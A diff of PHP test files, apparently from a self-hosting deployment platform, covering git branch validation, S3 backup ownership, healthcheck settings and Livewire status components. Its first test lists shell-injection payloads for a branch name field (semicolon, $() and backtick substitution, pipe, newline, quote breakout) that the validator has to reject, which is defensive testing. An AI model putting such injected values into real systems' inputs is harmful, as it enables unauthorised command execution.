test('git_branch uses ValidGitBranch in shared application rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
expect($rules['git_branch'])->toBeArray();
|
||||
expect(collect($rules['git_branch'])->contains(fn ($rule) => $rule instanceof ValidGitBranch))->toBeTrue();
|
||||
});
|
||||
|
||||
test('git_branch rejects shell metacharacter payloads', function (string $payload) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $payload],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'semicolon command separator' => 'main;touch /tmp/pwned;#',
|
||||
'command substitution' => 'main$(touch /tmp/pwned)',
|
||||
'backtick substitution' => 'main`touch /tmp/pwned`',
|
||||
'pipe operator' => 'main|id',
|
||||
'newline injection' => "main\ntouch /tmp/pwned",
|
||||
'redirect operator' => 'main>/tmp/pwned',
|
||||
'single quote breakout' => "main';id;#",
|
||||
]);
|
||||
|
||||
test('git_branch accepts safe branch names', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'main',
|
||||
'feature/my-branch',
|
||||
'release_1.2.3',
|
||||
]);
|
||||
});
|
||||
@@ -0,0 +1,138 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\CreateScheduledBackup;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function createDatabaseForScheduledBackupTest(Team $team): StandalonePostgresql
|
||||
{
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'pg-scheduled-backup-validation',
|
||||
'image' => 'postgres:16-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
function createS3StorageForTeam(Team $team, string $name = 'Test S3'): S3Storage
|
||||
{
|
||||
return S3Storage::create([
|
||||
'name' => $name,
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'is_usable' => true,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
it('rejects enabling S3 backup without a selected S3 storage', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
|
||||
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', null)
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('rejects an S3 storage not owned by the current team', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
|
||||
$foreignS3 = createS3StorageForTeam(Team::factory()->create(), 'Foreign S3');
|
||||
|
||||
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $foreignS3->id)
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('rejects an S3 storage that is reassigned after the component is mounted', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
$s3 = createS3StorageForTeam($this->team);
|
||||
|
||||
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $s3->id);
|
||||
|
||||
$s3->update(['team_id' => Team::factory()->create()->id]);
|
||||
|
||||
$component
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('rejects an S3 storage that becomes unusable after the component is mounted', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
$s3 = createS3StorageForTeam($this->team);
|
||||
|
||||
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $s3->id);
|
||||
|
||||
$s3->update(['is_usable' => false]);
|
||||
|
||||
$component
|
||||
->call('submit')
|
||||
->assertDispatched('error');
|
||||
|
||||
expect(ScheduledDatabaseBackup::count())->toBe(0);
|
||||
});
|
||||
|
||||
it('creates a scheduled backup with a valid team-owned S3 storage', function () {
|
||||
$database = createDatabaseForScheduledBackupTest($this->team);
|
||||
$s3 = createS3StorageForTeam($this->team);
|
||||
|
||||
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
|
||||
->set('frequency', '0 0 * * *')
|
||||
->set('saveToS3', true)
|
||||
->set('s3StorageId', $s3->id)
|
||||
->call('submit')
|
||||
->assertDispatched('refreshScheduledBackups');
|
||||
|
||||
$backup = ScheduledDatabaseBackup::first();
|
||||
expect($backup)->not->toBeNull();
|
||||
expect($backup->save_s3)->toBeTruthy();
|
||||
expect($backup->s3_storage_id)->toBe($s3->id);
|
||||
});
|
||||
@@ -66,6 +66,48 @@ test('upload_to_s3 throws exception and disables s3 when storage is null', funct
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('upload_to_s3 exception message reports the previous s3 storage id', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => 12345,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$reflection->getProperty('s3')->setValue($job, null);
|
||||
|
||||
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage ID: 12345');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('upload_to_s3 exception message reports null when no previous s3 storage id exists', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$reflection->getProperty('s3')->setValue($job, null);
|
||||
|
||||
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage ID: null');
|
||||
});
|
||||
|
||||
test('deleting s3 storage disables s3 on linked backups', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Health;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Illuminate\Auth\Access\AuthorizationException;
|
||||
|
||||
it('defaults to an enabled healthcheck when nothing is configured', function () {
|
||||
$database = new StandalonePostgresql;
|
||||
|
||||
expect($database->isHealthcheckEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
it('builds the compose healthcheck block from the model timing fields', function () {
|
||||
$database = new StandalonePostgresql([
|
||||
'health_check_interval' => 30,
|
||||
'health_check_timeout' => 7,
|
||||
'health_check_retries' => 4,
|
||||
'health_check_start_period' => 12,
|
||||
]);
|
||||
|
||||
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
|
||||
|
||||
expect($config)->toBe([
|
||||
'test' => ['CMD', 'pg_isready'],
|
||||
'interval' => '30s',
|
||||
'timeout' => '7s',
|
||||
'retries' => 4,
|
||||
'start_period' => '12s',
|
||||
]);
|
||||
});
|
||||
|
||||
it('falls back to safe defaults when timing fields are missing', function () {
|
||||
$database = new StandalonePostgresql;
|
||||
|
||||
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
|
||||
|
||||
expect($config['interval'])->toBe('15s')
|
||||
->and($config['timeout'])->toBe('5s')
|
||||
->and($config['retries'])->toBe(5)
|
||||
->and($config['start_period'])->toBe('5s');
|
||||
});
|
||||
|
||||
it('reports the healthcheck as disabled when the flag is false', function () {
|
||||
$database = new StandalonePostgresql(['health_check_enabled' => false]);
|
||||
|
||||
expect($database->isHealthcheckEnabled())->toBeFalse();
|
||||
});
|
||||
|
||||
it('uses distinct hash fragments for ambiguous healthcheck values', function () {
|
||||
$enabledDatabase = new StandalonePostgresql([
|
||||
'health_check_enabled' => true,
|
||||
'health_check_interval' => 5,
|
||||
'health_check_timeout' => 5,
|
||||
'health_check_retries' => 5,
|
||||
'health_check_start_period' => 5,
|
||||
]);
|
||||
|
||||
$disabledDatabase = new StandalonePostgresql([
|
||||
'health_check_enabled' => false,
|
||||
'health_check_interval' => 15,
|
||||
'health_check_timeout' => 5,
|
||||
'health_check_retries' => 5,
|
||||
'health_check_start_period' => 5,
|
||||
]);
|
||||
|
||||
$getHashFragment = function () {
|
||||
return $this->healthCheckConfigurationHash();
|
||||
};
|
||||
|
||||
expect($getHashFragment->call($enabledDatabase))
|
||||
->toBe('1|5|5|5|5')
|
||||
->not->toBe($getHashFragment->call($disabledDatabase))
|
||||
->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
|
||||
});
|
||||
|
||||
it('does not mark configuration changed when health update authorization fails', function () {
|
||||
$database = new class
|
||||
{
|
||||
public ?string $config_hash = null;
|
||||
|
||||
public int $configurationChangedChecks = 0;
|
||||
|
||||
public function isConfigurationChanged(bool $save = false): bool
|
||||
{
|
||||
$this->configurationChangedChecks++;
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
$component = new class extends Health
|
||||
{
|
||||
public array $dispatchedEvents = [];
|
||||
|
||||
public function authorize($ability, $arguments = [])
|
||||
{
|
||||
throw new AuthorizationException('This action is unauthorized.');
|
||||
}
|
||||
|
||||
public function dispatch($event, ...$params)
|
||||
{
|
||||
$this->dispatchedEvents[] = $event;
|
||||
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
$component->database = $database;
|
||||
$component->submit();
|
||||
|
||||
expect($database->configurationChangedChecks)->toBe(0)
|
||||
->and($component->dispatchedEvents)->toBe(['error']);
|
||||
});
|
||||
|
||||
it('toggles database healthcheck and marks configuration changed', function () {
|
||||
$database = new class
|
||||
{
|
||||
public ?string $config_hash = 'existing';
|
||||
|
||||
public bool $health_check_enabled = false;
|
||||
|
||||
public int $health_check_interval = 15;
|
||||
|
||||
public int $health_check_timeout = 5;
|
||||
|
||||
public int $health_check_retries = 5;
|
||||
|
||||
public int $health_check_start_period = 5;
|
||||
|
||||
public int $saveCalls = 0;
|
||||
|
||||
public function save(): void
|
||||
{
|
||||
$this->saveCalls++;
|
||||
}
|
||||
};
|
||||
|
||||
$component = new class extends Health
|
||||
{
|
||||
public array $dispatchedEvents = [];
|
||||
|
||||
public function authorize($ability, $arguments = [])
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public function dispatch($event, ...$params)
|
||||
{
|
||||
$this->dispatchedEvents[] = $event;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function syncData(bool $toModel = false): void
|
||||
{
|
||||
if ($toModel) {
|
||||
$this->database->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->database->save();
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
$component->database = $database;
|
||||
$component->healthCheckEnabled = false;
|
||||
$component->healthCheckInterval = 15;
|
||||
$component->healthCheckTimeout = 5;
|
||||
$component->healthCheckRetries = 5;
|
||||
$component->healthCheckStartPeriod = 5;
|
||||
|
||||
$component->toggleHealthcheck();
|
||||
|
||||
expect($database->health_check_enabled)->toBeTrue()
|
||||
->and($database->saveCalls)->toBe(1)
|
||||
->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
|
||||
});
|
||||
@@ -1,7 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Livewire\Attributes\Locked;
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('isValidContainerName accepts valid container names', function () {
|
||||
@@ -45,43 +46,43 @@ describe('container name validation', function () {
|
||||
|
||||
describe('locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'container');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('serverId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'serverId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceUuid property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceDbType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
@@ -89,7 +90,7 @@ describe('locked properties', function () {
|
||||
|
||||
describe('server method uses team scoping', function () {
|
||||
test('server computed property calls ownedByCurrentTeam', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'server');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'server');
|
||||
|
||||
// Extract the server method body
|
||||
$startLine = $method->getStartLine();
|
||||
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Import component uses shared ValidationPatterns', function () {
|
||||
describe('ImportForm component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
it('declares explicit authorization on database import form controls', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
|
||||
|
||||
preg_match_all(
|
||||
'/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
|
||||
$view,
|
||||
$matches,
|
||||
PREG_OFFSET_CAPTURE
|
||||
);
|
||||
|
||||
$missingAuthorization = collect($matches[0])
|
||||
->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
|
||||
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
expect($missingAuthorization)->toBeEmpty();
|
||||
});
|
||||
@@ -1,17 +1,37 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
|
||||
use App\Livewire\Project\Application\ServerStatusBadge;
|
||||
use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
|
||||
use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
|
||||
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
|
||||
use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
|
||||
use App\Livewire\Project\Database\Import as DatabaseImport;
|
||||
use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
|
||||
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
|
||||
use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
|
||||
use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
|
||||
use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
|
||||
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
|
||||
use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
|
||||
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
|
||||
use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
|
||||
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
|
||||
use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
|
||||
use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
|
||||
use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
|
||||
use App\Livewire\Server\Sentinel;
|
||||
use App\Livewire\Server\Show;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
@@ -28,25 +48,159 @@ beforeEach(function () {
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
dataset('ssl-aware-database-general-components', [
|
||||
dataset('database-general-forms-without-broadcasts', [
|
||||
// Status-derived display moved into a sibling StatusInfo component for each DB,
|
||||
// so the form itself takes no broadcast listeners and cannot clobber wire:dirty
|
||||
// by absorbing deferred wire:model values during a status-triggered roundtrip.
|
||||
RedisGeneral::class,
|
||||
PostgresqlGeneral::class,
|
||||
MysqlGeneral::class,
|
||||
MariadbGeneral::class,
|
||||
MongodbGeneral::class,
|
||||
RedisGeneral::class,
|
||||
PostgresqlGeneral::class,
|
||||
KeydbGeneral::class,
|
||||
DragonflyGeneral::class,
|
||||
ClickhouseGeneral::class,
|
||||
DatabaseImportForm::class,
|
||||
ServiceConfiguration::class,
|
||||
ApplicationConfiguration::class,
|
||||
]);
|
||||
|
||||
it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) {
|
||||
$component = app($componentClass);
|
||||
$listeners = $component->getListeners();
|
||||
dataset('database-status-info-components', [
|
||||
RedisStatusInfo::class,
|
||||
PostgresqlStatusInfo::class,
|
||||
MysqlStatusInfo::class,
|
||||
MariadbStatusInfo::class,
|
||||
MongodbStatusInfo::class,
|
||||
KeydbStatusInfo::class,
|
||||
DragonflyStatusInfo::class,
|
||||
ClickhouseStatusInfo::class,
|
||||
]);
|
||||
|
||||
expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh')
|
||||
->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh');
|
||||
})->with('ssl-aware-database-general-components');
|
||||
dataset('display-only-status-components', [
|
||||
RedisStatusInfo::class,
|
||||
PostgresqlStatusInfo::class,
|
||||
MysqlStatusInfo::class,
|
||||
MariadbStatusInfo::class,
|
||||
MongodbStatusInfo::class,
|
||||
KeydbStatusInfo::class,
|
||||
DragonflyStatusInfo::class,
|
||||
ClickhouseStatusInfo::class,
|
||||
DatabaseImport::class,
|
||||
ServiceResourceCard::class,
|
||||
ServerStatusBadge::class,
|
||||
]);
|
||||
|
||||
it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () {
|
||||
it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
|
||||
// Regression guard for coolify#6062 / #6354 / #9695:
|
||||
// Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
|
||||
// deferred wire:model values into the snapshot — clobbering both the typed text
|
||||
// (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)
|
||||
->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
|
||||
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
|
||||
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
|
||||
})->with('database-general-forms-without-broadcasts');
|
||||
|
||||
/**
|
||||
* Resolve a Livewire component's listeners regardless of whether the subclass
|
||||
* exposes getListeners() publicly or only declares a $listeners array — the
|
||||
* HandlesEvents trait keeps getListeners() protected by default.
|
||||
*/
|
||||
function resolveLivewireListeners(object $component): array
|
||||
{
|
||||
$method = new ReflectionMethod($component, 'getListeners');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return (array) $method->invoke($component);
|
||||
}
|
||||
|
||||
it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
|
||||
// Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
|
||||
// Livewire component so it can re-render on broadcasts without touching the form's DOM.
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)
|
||||
->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
|
||||
->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
|
||||
})->with('database-status-info-components');
|
||||
|
||||
it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
|
||||
$listeners = resolveLivewireListeners(app($componentClass));
|
||||
|
||||
expect($listeners)->not->toBeEmpty();
|
||||
})->with('display-only-status-components');
|
||||
|
||||
it('refreshes a service resource card without refreshing the service configuration form owner', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$service = Service::create([
|
||||
'name' => 'status-card-service',
|
||||
'environment_id' => $environment->id,
|
||||
'server_id' => $server->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'docker_compose_raw' => 'services: {}',
|
||||
]);
|
||||
$serviceApplication = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'web',
|
||||
'image' => 'nginx:latest',
|
||||
'status' => 'exited:unhealthy',
|
||||
]);
|
||||
$parameters = [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'service_uuid' => $service->uuid,
|
||||
];
|
||||
|
||||
$component = Livewire::test(ServiceResourceCard::class, [
|
||||
'service' => $service,
|
||||
'resource' => $serviceApplication,
|
||||
'parameters' => $parameters,
|
||||
]);
|
||||
|
||||
$serviceApplication->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refreshResource');
|
||||
|
||||
expect($component->instance()->resource->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
it('refreshes database import status from stored resource identity after the route context is gone', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$database = StandaloneMysql::create([
|
||||
'name' => 'import-status-mysql',
|
||||
'image' => 'mysql:8',
|
||||
'mysql_root_password' => 'password',
|
||||
'mysql_user' => 'coolify',
|
||||
'mysql_password' => 'password',
|
||||
'mysql_database' => 'coolify',
|
||||
'status' => 'exited:unhealthy',
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = app(DatabaseImport::class);
|
||||
$component->resourceId = $database->id;
|
||||
$component->resourceType = StandaloneMysql::class;
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->refreshStatus();
|
||||
|
||||
expect($component->resourceStatus)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
@@ -67,7 +221,65 @@ it('reloads the mysql database model when refreshing so ssl controls follow the
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(MysqlGeneral::class, ['database' => $database])
|
||||
$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refresh')
|
||||
->assertSee('Database should be stopped to change this settings.');
|
||||
});
|
||||
|
||||
it('does not clobber server form text inputs when sentinel restarts', function () {
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'persisted-server-name',
|
||||
]);
|
||||
|
||||
$component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
|
||||
->set('sentinelToken', 'user-was-typing-this-token');
|
||||
|
||||
$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
|
||||
|
||||
expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
|
||||
});
|
||||
|
||||
it('does not clobber server form text inputs when server validation completes', function () {
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'persisted-server-name',
|
||||
]);
|
||||
|
||||
$component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
|
||||
->set('name', 'user-was-typing-here')
|
||||
->set('ip', '203.0.113.42');
|
||||
|
||||
$component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
|
||||
|
||||
expect($component->get('name'))->toBe('user-was-typing-here')
|
||||
->and($component->get('ip'))->toBe('203.0.113.42');
|
||||
});
|
||||
|
||||
it('shows the redis ssl gate hint after the sibling is refreshed', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
